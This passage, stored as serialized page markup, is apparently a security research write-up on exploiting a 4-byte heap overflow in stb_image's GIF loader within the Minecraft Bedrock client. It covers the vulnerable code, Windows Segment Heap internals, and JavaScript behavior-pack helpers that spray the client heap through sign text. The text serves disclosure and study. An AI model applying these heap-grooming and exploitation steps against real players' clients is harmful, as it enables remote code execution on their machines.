7,"value":151953},{"type":22,"tag":101,"props":152641,"children":152642},{"style":126},[152643],{"type":27,"value":151958},{"type":22,"tag":101,"props":152645,"children":152646},{"style":166},[152647],{"type":27,"value":13822},{"type":22,"tag":101,"props":152649,"children":152650},{"style":1544},[152651],{"type":27,"value":15751},{"type":22,"tag":101,"props":152653,"children":152654},{"style":120},[152655],{"type":27,"value":35570},{"type":22,"tag":101,"props":152657,"children":152658},{"class":103,"line":157},[152659,152663,152667,152671,152675,152679,152683,152687,152691],{"type":22,"tag":101,"props":152660,"children":152661},{"style":3595},[152662],{"type":27,"value":56640},{"type":22,"tag":101,"props":152664,"children":152665},{"style":120},[152666],{"type":27,"value":3603},{"type":22,"tag":101,"props":152668,"children":152669},{"style":126},[152670],{"type":27,"value":7187},{"type":22,"tag":101,"props":152672,"children":152673},{"style":120},[152674],{"type":27,"value":2414},{"type":22,"tag":101,"props":152676,"children":152677},{"style":1544},[152678],{"type":27,"value":21293},{"type":22,"tag":101,"props":152680,"children":152681},{"style":120},[152682],{"type":27,"value":12668},{"type":22,"tag":101,"props":152684,"children":152685},{"style":166},[152686],{"type":27,"value":14467},{"type":22,"tag":101,"props":152688,"children":152689},{"style":1544},[152690],{"type":27,"value":152006},{"type":22,"tag":101,"props":152692,"children":152693},{"style":120},[152694],{"type":27,"value":1463},{"type":22,"tag":101,"props":152696,"children":152697},{"class":103,"line":182},[152698,152702,152706,152710,152714,152718,152722,152726,152730],{"type":22,"tag":101,"props":152699,"children":152700},{"style":126},[152701],{"type":27,"value":152018},{"type":22,"tag":101,"props":152703,"children":152704},{"style":120},[152705],{"type":27,"value":2414},{"type":22,"tag":101,"props":152707,"children":152708},{"style":1544},[152709],{"type":27,"value":8065},{"type":22,"tag":101,"props":152711,"children":152712},{"style":120},[152713],{"type":27,"value":12668},{"type":22,"tag":101,"props":152715,"children":152716},{"style":166},[152717],{"type":27,"value":1511},{"type":22,"tag":101,"props":152719,"children":152720},{"style":126},[152721],{"type":27,"value":41441},{"type":22,"tag":101,"props":152723,"children":152724},{"style":120},[152725],{"type":27,"value":2414},{"type":22,"tag":101,"props":152727,"children":152728},{"style":1544},[152729],{"type":27,"value":7164},{"type":22,"tag":101,"props":152731,"children":152732},{"style":120},[152733],{"type":27,"value":35570},{"type":22,"tag":101,"props":152735,"children":152736},{"class":103,"line":367},[152737,152741,152745,152749,152753,152757,152761,152765,152769],{"type":22,"tag":101,"props":152738,"children":152739},{"style":126},[152740],{"type":27,"value":152018},{"type":22,"tag":101,"props":152742,"children":152743},{"style":120},[152744],{"type":27,"value":2414},{"type":22,"tag":101,"props":152746,"children":152747},{"style":1544},[152748],{"type":27,"value":6813},{"type":22,"tag":101,"props":152750,"children":152751},{"style":120},[152752],{"type":27,"value":12668},{"type":22,"tag":101,"props":152754,"children":152755},{"style":166},[152756],{"type":27,"value":1511},{"type":22,"tag":101,"props":152758,"children":152759},{"style":126},[152760],{"type":27,"value":41441},{"type":22,"tag":101,"props":152762,"children":152763},{"style":120},[152764],{"type":27,"value":2414},{"type":22,"tag":101,"props":152766,"children":152767},{"style":1544},[152768],{"type":27,"value":6813},{"type":22,"tag":101,"props":152770,"children":152771},{"style":120},[152772],{"type":27,"value":35570},{"type":22,"tag":101,"props":152774,"children":152775},{"class":103,"line":398},[152776,152780,152784,152788,152792,152796,152800,152804,152808],{"type":22,"tag":101,"props":152777,"children":152778},{"style":126},[152779],{"type":27,"value":152018},{"type":22,"tag":101,"props":152781,"children":152782},{"style":120},[152783],{"type":27,"value":2414},{"type":22,"tag":101,"props":152785,"children":152786},{"style":1544},[152787],{"type":27,"value":7164},{"type":22,"tag":101,"props":152789,"children":152790},{"style":120},[152791],{"type":27,"value":12668},{"type":22,"tag":101,"props":152793,"children":152794},{"style":166},[152795],{"type":27,"value":1511},{"type":22,"tag":101,"props":152797,"children":152798},{"style":126},[152799],{"type":27,"value":41441},{"type":22,"tag":101,"props":152801,"children":152802},{"style":120},[152803],{"type":27,"value":2414},{"type":22,"tag":101,"props":152805,"children":152806},{"style":1544},[152807],{"type":27,"value":8065},{"type":22,"tag":101,"props":152809,"children":152810},{"style":120},[152811],{"type":27,"value":35570},{"type":22,"tag":101,"props":152813,"children":152814},{"class":103,"line":428},[152815,152819,152823,152827,152831,152835,152839,152843,152847],{"type":22,"tag":101,"props":152816,"children":152817},{"style":126},[152818],{"type":27,"value":152018},{"type":22,"tag":101,"props":152820,"children":152821},{"style":120},[152822],{"type":27,"value":2414},{"type":22,"tag":101,"props":152824,"children":152825},{"style":1544},[152826],{"type":27,"value":21293},{"type":22,"tag":101,"props":152828,"children":152829},{"style":120},[152830],{"type":27,"value":12668},{"type":22,"tag":101,"props":152832,"children":152833},{"style":166},[152834],{"type":27,"value":1511},{"type":22,"tag":101,"props":152836,"children":152837},{"style":126},[152838],{"type":27,"value":41441},{"type":22,"tag":101,"props":152840,"children":152841},{"style":120},[152842],{"type":27,"value":2414},{"type":22,"tag":101,"props":152844,"children":152845},{"style":1544},[152846],{"type":27,"value":21293},{"type":22,"tag":101,"props":152848,"children":152849},{"style":120},[152850],{"type":27,"value":35570},{"type":22,"tag":101,"props":152852,"children":152853},{"class":103,"line":997},[152854],{"type":22,"tag":101,"props":152855,"children":152856},{"style":120},[152857],{"type":27,"value":38744},{"type":22,"tag":23,"props":152859,"children":152860},{},[152861,152862,152867,152869,152874,152876,152881],{"type":27,"value":28013},{"type":22,"tag":30,"props":152863,"children":152865},{"className":152864},[],[152866],{"type":27,"value":152218},{"type":27,"value":152868}," has to set the last byte to ",{"type":22,"tag":30,"props":152870,"children":152872},{"className":152871},[],[152873],{"type":27,"value":116850},{"type":27,"value":152875}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":22,"tag":30,"props":152877,"children":152879},{"className":152878},[],[152880],{"type":27,"value":116850},{"type":27,"value":231},{"type":22,"tag":23,"props":152883,"children":152884},{},[152885,152887,152892,152894,152900,152901,152907],{"type":27,"value":152886},"In the code we can see that size of the ",{"type":22,"tag":30,"props":152888,"children":152890},{"className":152889},[],[152891],{"type":27,"value":151675},{"type":27,"value":152893}," allocation is controlled through ",{"type":22,"tag":30,"props":152895,"children":152897},{"className":152896},[],[152898],{"type":27,"value":152899},"g->w",{"type":27,"value":209},{"type":22,"tag":30,"props":152902,"children":152904},{"className":152903},[],[152905],{"type":27,"value":152906},"g->h",{"type":27,"value":152908}," values, both of which are read from the input file itself:",{"type":22,"tag":91,"props":152910,"children":152912},{"code":152911,"language":7187,"meta":7,"className":20513,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[152913],{"type":22,"tag":30,"props":152914,"children":152915},{"__ignoreMap":7},[152916,152941,152948,152955,152990,153036],{"type":22,"tag":101,"props":152917,"children":152918},{"class":103,"line":104},[152919,152923,152928,152932,152936],{"type":22,"tag":101,"props":152920,"children":152921},{"style":108},[152922],{"type":27,"value":55040},{"type":22,"tag":101,"props":152924,"children":152925},{"style":120},[152926],{"type":27,"value":152927}," stbi_uc ",{"type":22,"tag":101,"props":152929,"children":152930},{"style":166},[152931],{"type":27,"value":8615},{"type":22,"tag":101,"props":152933,"children":152934},{"style":926},[152935],{"type":27,"value":150854},{"type":22,"tag":101,"props":152937,"children":152938},{"style":120},[152939],{"type":27,"value":152940},"(...)\n",{"type":22,"tag":101,"props":152942,"children":152943},{"class":103,"line":157},[152944],{"type":22,"tag":101,"props":152945,"children":152946},{"style":120},[152947],{"type":27,"value":14886},{"type":22,"tag":101,"props":152949,"children":152950},{"class":103,"line":182},[152951],{"type":22,"tag":101,"props":152952,"children":152953},{"style":120},[152954],{"type":27,"value":151416},{"type":22,"tag":101,"props":152956,"children":152957},{"class":103,"line":367},[152958,152962,152966,152970,152974,152978,152982,152986],{"type":22,"tag":101,"props":152959,"children":152960},{"style":3595},[152961],{"type":27,"value":56640},{"type":22,"tag":101,"props":152963,"children":152964},{"style":120},[152965],{"type":27,"value":3603},{"type":22,"tag":101,"props":152967,"children":152968},{"style":126},[152969],{"type":27,"value":112805},{"type":22,"tag":101,"props":152971,"children":152972},{"style":120},[152973],{"type":27,"value":17759},{"type":22,"tag":101,"props":152975,"children":152976},{"style":126},[152977],{"type":27,"value":122228},{"type":22,"tag":101,"props":152979,"children":152980},{"style":166},[152981],{"type":27,"value":1541},{"type":22,"tag":101,"props":152983,"children":152984},{"style":1544},[152985],{"type":27,"value":1547},{"type":22,"tag":101,"props":152987,"children":152988},{"style":120},[152989],{"type":27,"value":1463},{"type":22,"tag":101,"props":152991,"children":152992},{"class":103,"line":398},[152993,152997,153001,153005,153010,153015,153019,153024,153028,153032],{"type":22,"tag":101,"props":152994,"children":152995},{"style":3595},[152996],{"type":27,"value":43281},{"type":22,"tag":101,"props":152998,"children":152999},{"style":120},[153000],{"type":27,"value":3603},{"type":22,"tag":101,"props":153002,"children":153003},{"style":166},[153004],{"type":27,"value":2109},{"type":22,"tag":101,"props":153006,"children":153007},{"style":926},[153008],{"type":27,"value":153009},"stbi__gif_header",{"type":22,"tag":101,"props":153011,"children":153012},{"style":120},[153013],{"type":27,"value":153014},"(s, g, comp,",{"type":22,"tag":101,"props":153016,"children":153017},{"style":1544},[153018],{"type":27,"value":8065},{"type":22,"tag":101,"props":153020,"children":153021},{"style":120},[153022],{"type":27,"value":153023},")) ",{"type":22,"tag":101,"props":153025,"children":153026},{"style":3595},[153027],{"type":27,"value":52454},{"type":22,"tag":101,"props":153029,"children":153030},{"style":1544},[153031],{"type":27,"value":1547},{"type":22,"tag":101,"props":153033,"children":153034},{"style":120},[153035],{"type":27,"value":1520},{"type":22,"tag":101,"props":153037,"children":153038},{"class":103,"line":428},[153039,153044,153048,153052,153056,153061,153065,153069,153074,153078,153082,153086,153090,153094,153098,153102,153106,153110,153114],{"type":22,"tag":101,"props":153040,"children":153041},{"style":126},[153042],{"type":27,"value":153043}," g",{"type":22,"tag":101,"props":153045,"children":153046},{"style":120},[153047],{"type":27,"value":17759},{"type":22,"tag":101,"props":153049,"children":153050},{"style":126},[153051],{"type":27,"value":122228},{"type":22,"tag":101,"props":153053,"children":153054},{"style":166},[153055],{"type":27,"value":960},{"type":22,"tag":101,"props":153057,"children":153058},{"style":120},[153059],{"type":27,"value":153060}," (stbi_uc ",{"type":22,"tag":101,"props":153062,"children":153063},{"style":166},[153064],{"type":27,"value":8615},{"type":22,"tag":101,"props":153066,"children":153067},{"style":120},[153068],{"type":27,"value":901},{"type":22,"tag":101,"props":153070,"children":153071},{"style":926},[153072],{"type":27,"value":153073},"stbi__malloc",{"type":22,"tag":101,"props":153075,"children":153076},{"style":120},[153077],{"type":27,"value":980},{"type":22,"tag":101,"props":153079,"children":153080},{"style":1544},[153081],{"type":27,"value":21526},{"type":22,"tag":101,"props":153083,"children":153084},{"style":166},[153085],{"type":27,"value":13822},{"type":22,"tag":101,"props":153087,"children":153088},{"style":126},[153089],{"type":27,"value":151456},{"type":22,"tag":101,"props":153091,"children":153092},{"style":120},[153093],{"type":27,"value":17759},{"type":22,"tag":101,"props":153095,"children":153096},{"style":126},[153097],{"type":27,"value":53568},{"type":22,"tag":101,"props":153099,"children":153100},{"style":166},[153101],{"type":27,"value":13822},{"type":22,"tag":101,"props":153103,"children":153104},{"style":126},[153105],{"type":27,"value":151456},{"type":22,"tag":101,"props":153107,"children":153108},{"style":120},[153109],{"type":27,"value":17759},{"type":22,"tag":101,"props":153111,"children":153112},{"style":126},[153113],{"type":27,"value":87852},{"type":22,"tag":101,"props":153115,"children":153116},{"style":120},[153117],{"type":27,"value":994},{"type":22,"tag":23,"props":153119,"children":153120},{},[153121,153123,153128,153130,153135],{"type":27,"value":153122},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":22,"tag":30,"props":153124,"children":153126},{"className":153125},[],[153127],{"type":27,"value":151675},{"type":27,"value":153129}," and the value of ",{"type":22,"tag":30,"props":153131,"children":153133},{"className":153132},[],[153134],{"type":27,"value":23},{"type":27,"value":153136}," just before the OOB write happens:",{"type":22,"tag":91,"props":153138,"children":153140},{"code":153139},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[153141],{"type":22,"tag":30,"props":153142,"children":153143},{"__ignoreMap":7},[153144],{"type":27,"value":153139},{"type":22,"tag":23,"props":153146,"children":153147},{},[153148,153150,153155,153157,153162],{"type":27,"value":153149},"There are multiple within-bound writes to ",{"type":22,"tag":30,"props":153151,"children":153153},{"className":153152},[],[153154],{"type":27,"value":23},{"type":27,"value":153156},", but the last write happens just after the ",{"type":22,"tag":30,"props":153158,"children":153160},{"className":153159},[],[153161],{"type":27,"value":151675},{"type":27,"value":153163}," allocation.",{"type":22,"tag":1760,"props":153165,"children":153167},{"id":153166},"summarizing-the-corruption",[153168],{"type":27,"value":153169},"Summarizing the Corruption",{"type":22,"tag":6839,"props":153171,"children":153172},{},[153173,153186,153214],{"type":22,"tag":6832,"props":153174,"children":153175},{},[153176,153178,153184],{"type":27,"value":153177},"A single ",{"type":22,"tag":30,"props":153179,"children":153181},{"className":153180},[],[153182],{"type":27,"value":153183},"0x01",{"type":27,"value":153185}," byte write OOB",{"type":22,"tag":6832,"props":153187,"children":153188},{},[153189,153191],{"type":27,"value":153190},"4-byte OOB write just above the allocated buffer\n",{"type":22,"tag":6839,"props":153192,"children":153193},{},[153194,153199,153209],{"type":22,"tag":6832,"props":153195,"children":153196},{},[153197],{"type":27,"value":153198},"First three bytes are controllable",{"type":22,"tag":6832,"props":153200,"children":153201},{},[153202,153204],{"type":27,"value":153203},"Last byte will be ",{"type":22,"tag":30,"props":153205,"children":153207},{"className":153206},[],[153208],{"type":27,"value":116850},{"type":22,"tag":6832,"props":153210,"children":153211},{},[153212],{"type":27,"value":153213},"Size of the allocation is controlled",{"type":22,"tag":6832,"props":153215,"children":153216},{},[153217,153219],{"type":27,"value":153218},"Both corruptions are done on a short-lived allocation\n",{"type":22,"tag":6839,"props":153220,"children":153221},{},[153222,153227],{"type":22,"tag":6832,"props":153223,"children":153224},{},[153225],{"type":27,"value":153226},"Allocated just before the image-parsing process",{"type":22,"tag":6832,"props":153228,"children":153229},{},[153230],{"type":27,"value":153231},"Freed immediately upon parsing completion",{"type":22,"tag":1398,"props":153233,"children":153234},{},[],{"type":22,"tag":23,"props":153236,"children":153237},{},[153238,153240,153247,153249,153256],{"type":27,"value":153239},"Note that this bug was already found before (",{"type":22,"tag":80,"props":153241,"children":153244},{"href":153242,"rel":153243},"https://github.com/nothings/stb/issues/656",[84],[153245],{"type":27,"value":153246},"Github Issue",{"type":27,"value":153248},") but we missed it at the time. It was later fixed in ",{"type":22,"tag":80,"props":153250,"children":153253},{"href":153251,"rel":153252},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[84],[153254],{"type":27,"value":153255},"this commit",{"type":27,"value":231},{"type":22,"tag":53,"props":153258,"children":153259},{"id":9463},[153260],{"type":27,"value":9466},{"type":22,"tag":23,"props":153262,"children":153263},{},[153264],{"type":27,"value":153265},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":22,"tag":23,"props":153267,"children":153268},{},[153269],{"type":27,"value":153270},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":22,"tag":1760,"props":153272,"children":153274},{"id":153273},"searching-for-better-primitives",[153275],{"type":27,"value":153276},"Searching for Better Primitives",{"type":22,"tag":23,"props":153278,"children":153279},{},[153280],{"type":27,"value":153281},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":22,"tag":23,"props":153283,"children":153284},{},[153285,153287,153294],{"type":27,"value":153286},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":22,"tag":80,"props":153288,"children":153291},{"href":153289,"rel":153290},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[84],[153292],{"type":27,"value":153293},"UWP",{"type":27,"value":153295}," applications (such as Minecraft Bedrock Edition).",{"type":22,"tag":1760,"props":153297,"children":153299},{"id":153298},"segment-heap",[153300],{"type":27,"value":153301},"Segment Heap",{"type":22,"tag":23,"props":153303,"children":153304},{},[153305,153307,153314],{"type":27,"value":153306},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":22,"tag":80,"props":153308,"children":153311},{"href":153309,"rel":153310},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[84],[153312],{"type":27,"value":153313},"this talk",{"type":27,"value":153315}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":22,"tag":22883,"props":153317,"children":153319},{"id":153318},"low-fragmentation-heap",[153320],{"type":27,"value":153321},"Low Fragmentation Heap",{"type":22,"tag":23,"props":153323,"children":153324},{},[153325,153327,153333],{"type":27,"value":153326},"Low Fragmentation Heap (LFH) services allocations of ",{"type":22,"tag":30,"props":153328,"children":153330},{"className":153329},[],[153331],{"type":27,"value":153332},"0x3ff0",{"type":27,"value":153334}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":22,"tag":23,"props":153336,"children":153337},{},[153338],{"type":27,"value":153339},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":22,"tag":91,"props":153341,"children":153343},{"code":153342}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[153344],{"type":22,"tag":30,"props":153345,"children":153346},{"__ignoreMap":7},[153347],{"type":27,"value":153342},{"type":22,"tag":23,"props":153349,"children":153350},{},[153351],{"type":27,"value":153352},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":22,"tag":22883,"props":153354,"children":153356},{"id":153355},"variable-size",[153357],{"type":27,"value":153358},"Variable Size",{"type":22,"tag":23,"props":153360,"children":153361},{},[153362,153364,153370,153372,153378],{"type":27,"value":153363},"This subsegment is used for allocation sizes from ",{"type":22,"tag":30,"props":153365,"children":153367},{"className":153366},[],[153368],{"type":27,"value":153369},"0x4000",{"type":27,"value":153371}," and up to ",{"type":22,"tag":30,"props":153373,"children":153375},{"className":153374},[],[153376],{"type":27,"value":153377},"0x20_000",{"type":27,"value":153379},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":22,"tag":91,"props":153381,"children":153383},{"code":153382}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[153384],{"type":22,"tag":30,"props":153385,"children":153386},{"__ignoreMap":7},[153387],{"type":27,"value":153382},{"type":22,"tag":23,"props":153389,"children":153390},{},[153391,153393,153399],{"type":27,"value":153392},"The header, ",{"type":22,"tag":30,"props":153394,"children":153396},{"className":153395},[],[153397],{"type":27,"value":153398},"HEAP_VS_CHUNK_HEADER",{"type":27,"value":153400},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":22,"tag":1398,"props":153402,"children":153403},{},[],{"type":22,"tag":23,"props":153405,"children":153406},{},[153407],{"type":27,"value":153408},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":22,"tag":23,"props":153410,"children":153411},{},[153412,153414,153421],{"type":27,"value":153413},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":22,"tag":80,"props":153415,"children":153418},{"href":153416,"rel":153417},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[84],[153419],{"type":27,"value":153420},"technique published",{"type":27,"value":153422}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":22,"tag":23,"props":153424,"children":153425},{},[153426],{"type":27,"value":153427},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":22,"tag":23,"props":153429,"children":153430},{},[153431],{"type":27,"value":153432},"In either case, we needed a way to spray the heap before we could proceed.",{"type":22,"tag":1760,"props":153434,"children":153436},{"id":153435},"finding-a-way-to-spray-the-heap",[153437],{"type":27,"value":153438},"Finding a Way to Spray the Heap",{"type":22,"tag":23,"props":153440,"children":153441},{},[153442],{"type":27,"value":153443},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":22,"tag":6839,"props":153445,"children":153446},{},[153447,153452,153457,153462],{"type":22,"tag":6832,"props":153448,"children":153449},{},[153450],{"type":27,"value":153451},"The size of the allocation",{"type":22,"tag":6832,"props":153453,"children":153454},{},[153455],{"type":27,"value":153456},"The data written into the allocated buffer",{"type":22,"tag":6832,"props":153458,"children":153459},{},[153460],{"type":27,"value":153461},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":22,"tag":6832,"props":153463,"children":153464},{},[153465],{"type":27,"value":153466},"The number of created objects (preferably unbounded)",{"type":22,"tag":23,"props":153468,"children":153469},{},[153470],{"type":27,"value":153471},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":22,"tag":22883,"props":153473,"children":153475},{"id":153474},"minecraft-signs",[153476],{"type":27,"value":153477},"Minecraft Signs",{"type":22,"tag":23,"props":153479,"children":153480},{},[153481],{"type":27,"value":153482},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":22,"tag":23,"props":153484,"children":153485},{},[153486,153488,153494],{"type":27,"value":153487},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":22,"tag":30,"props":153489,"children":153491},{"className":153490},[],[153492],{"type":27,"value":153493},"std::string",{"type":27,"value":231},{"type":22,"tag":23,"props":153496,"children":153497},{},[153498,153500,153505],{"type":27,"value":153499},"In Microsoft’s C++ implementation, ",{"type":22,"tag":30,"props":153501,"children":153503},{"className":153502},[],[153504],{"type":27,"value":153493},{"type":27,"value":153506}," is structured roughly as follows:",{"type":22,"tag":91,"props":153508,"children":153510},{"code":153509,"language":7187,"meta":7,"className":20513,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[153511],{"type":22,"tag":30,"props":153512,"children":153513},{"__ignoreMap":7},[153514,153525,153532,153544,153560,153584,153591,153602,153614],{"type":22,"tag":101,"props":153515,"children":153516},{"class":103,"line":104},[153517,153521],{"type":22,"tag":101,"props":153518,"children":153519},{"style":108},[153520],{"type":27,"value":111},{"type":22,"tag":101,"props":153522,"children":153523},{"style":120},[153524],{"type":27,"value":88551},{"type":22,"tag":101,"props":153526,"children":153527},{"class":103,"line":157},[153528],{"type":22,"tag":101,"props":153529,"children":153530},{"style":120},[153531],{"type":27,"value":14886},{"type":22,"tag":101,"props":153533,"children":153534},{"class":103,"line":182},[153535,153540],{"type":22,"tag":101,"props":153536,"children":153537},{"style":108},[153538],{"type":27,"value":153539}," union",{"type":22,"tag":101,"props":153541,"children":153542},{"style":120},[153543],{"type":27,"value":154},{"type":22,"tag":101,"props":153545,"children":153546},{"class":103,"line":367},[153547,153552,153556],{"type":22,"tag":101,"props":153548,"children":153549},{"style":108},[153550],{"type":27,"value":153551}," char",{"type":22,"tag":101,"props":153553,"children":153554},{"style":166},[153555],{"type":27,"value":8615},{"type":22,"tag":101,"props":153557,"children":153558},{"style":120},[153559],{"type":27,"value":20555},{"type":22,"tag":101,"props":153561,"children":153562},{"class":103,"line":398},[153563,153567,153572,153576,153580],{"type":22,"tag":101,"props":153564,"children":153565},{"style":108},[153566],{"type":27,"value":153551},{"type":22,"tag":101,"props":153568,"children":153569},{"style":126},[153570],{"type":27,"value":153571}," buf",{"type":22,"tag":101,"props":153573,"children":153574},{"style":120},[153575],{"type":27,"value":2414},{"type":22,"tag":101,"props":153577,"children":153578},{"style":1544},[153579],{"type":27,"value":44842},{"type":22,"tag":101,"props":153581,"children":153582},{"style":120},[153583],{"type":27,"value":35570},{"type":22,"tag":101,"props":153585,"children":153586},{"class":103,"line":428},[153587],{"type":22,"tag":101,"props":153588,"children":153589},{"style":120},[153590],{"type":27,"value":3812},{"type":22,"tag":101,"props":153592,"children":153593},{"class":103,"line":997},[153594,153598],{"type":22,"tag":101,"props":153595,"children":153596},{"style":108},[153597],{"type":27,"value":20563},{"type":22,"tag":101,"props":153599,"children":153600},{"style":120},[153601],{"type":27,"value":128109},{"type":22,"tag":101,"props":153603,"children":153604},{"class":103,"line":1032},[153605,153609],{"type":22,"tag":101,"props":153606,"children":153607},{"style":108},[153608],{"type":27,"value":20563},{"type":22,"tag":101,"props":153610,"children":153611},{"style":120},[153612],{"type":27,"value":153613}," capacity;\n",{"type":22,"tag":101,"props":153615,"children":153616},{"class":103,"line":1063},[153617],{"type":22,"tag":101,"props":153618,"children":153619},{"style":120},[153620],{"type":27,"value":20576},{"type":22,"tag":23,"props":153622,"children":153623},{},[153624,153626,153632,153634,153639],{"type":27,"value":153625},"We are primarily interested in the union: ",{"type":22,"tag":30,"props":153627,"children":153629},{"className":153628},[],[153630],{"type":27,"value":153631},"buf",{"type":27,"value":153633}," is used when the string fits within 16 bytes, while ",{"type":22,"tag":30,"props":153635,"children":153637},{"className":153636},[],[153638],{"type":27,"value":17951},{"type":27,"value":153640}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":22,"tag":23,"props":153642,"children":153643},{},[153644],{"type":27,"value":153645},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":22,"tag":23,"props":153647,"children":153648},{},[153649],{"type":27,"value":153650},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":22,"tag":22883,"props":153652,"children":153654},{"id":153653},"spraying-with-server-side-scripting",[153655],{"type":27,"value":153656},"Spraying With Server-Side Scripting",{"type":22,"tag":23,"props":153658,"children":153659},{},[153660],{"type":27,"value":153661},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":22,"tag":23,"props":153663,"children":153664},{},[153665,153667,153673,153674,153680],{"type":27,"value":153666},"We wrote ",{"type":22,"tag":30,"props":153668,"children":153670},{"className":153669},[],[153671],{"type":27,"value":153672},"alloc",{"type":27,"value":209},{"type":22,"tag":30,"props":153675,"children":153677},{"className":153676},[],[153678],{"type":27,"value":153679},"free",{"type":27,"value":153681}," helpers that trigger an allocation in the client and free it on demand:",{"type":22,"tag":91,"props":153683,"children":153685},{"code":153684,"language":39612,"meta":7,"className":39610,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[153686],{"type":22,"tag":30,"props":153687,"children":153688},{"__ignoreMap":7},[153689,153697,153739,153772,153817,153829,153836,153843,153904,153931,153946,153953,153960,153989,154004,154011,154018,154026,154050,154101,154112,154119,154126,154163,154190,154197,154226,154256,154263,154290],{"type":22,"tag":101,"props":153690,"children":153691},{"class":103,"line":104},[153692],{"type":22,"tag":101,"props":153693,"children":153694},{"style":2215},[153695],{"type":27,"value":153696},"// Allocate sign text in the client\n",{"type":22,"tag":101,"props":153698,"children":153699},{"class":103,"line":157},[153700,153704,153709,153713,153717,153721,153726,153730,153735],{"type":22,"tag":101,"props":153701,"children":153702},{"style":108},[153703],{"type":27,"value":35373},{"type":22,"tag":101,"props":153705,"children":153706},{"style":926},[153707],{"type":27,"value":153708}," 